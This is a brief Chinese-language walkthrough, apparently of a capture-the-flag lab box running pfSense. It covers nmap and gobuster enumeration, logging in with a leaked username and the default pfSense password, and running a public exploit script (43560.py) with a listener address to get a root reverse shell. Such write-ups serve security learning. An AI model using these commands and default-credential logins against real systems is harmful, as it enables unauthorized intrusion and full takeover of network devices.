nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.131.103 (扫描TCP)

上面的信息提供了直接跳转到443端口

nmap -sU --top-ports 100 10.129.131.103(扫描UDP)

https://10.129.131.103/

弱密码尝试都没有用,直接爆破看看

gobuster dir -u https://10.129.131.103/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,html -k

https://10.129.131.103//system-users.txt

第一个文件说发现了三个漏洞，已经修复了其中两个，那就是还有一个

第二个文件告诉我们有一个账号 Rohit，密码是 pfsense 的默认密码

去搜索一下默认密码

username = rohit
password = pfsense

登入后发现版本就去搜索看看漏洞

使用43560.py

parser.add_argument("--rhost", help = "Remote Host")

parser.add_argument('--lhost', help = 'Local Host listener')

parser.add_argument('--lport', help = 'Local Port listener')

parser.add_argument("--username", help = "pfsense Username")

parser.add_argument("--password", help = "pfsense Password")

python3 43560.py --rhost 10.129.131.103 --lhost 10.10.16.31 --lport 4444 --username rohit --password pfsense

反弹回来直接是root权限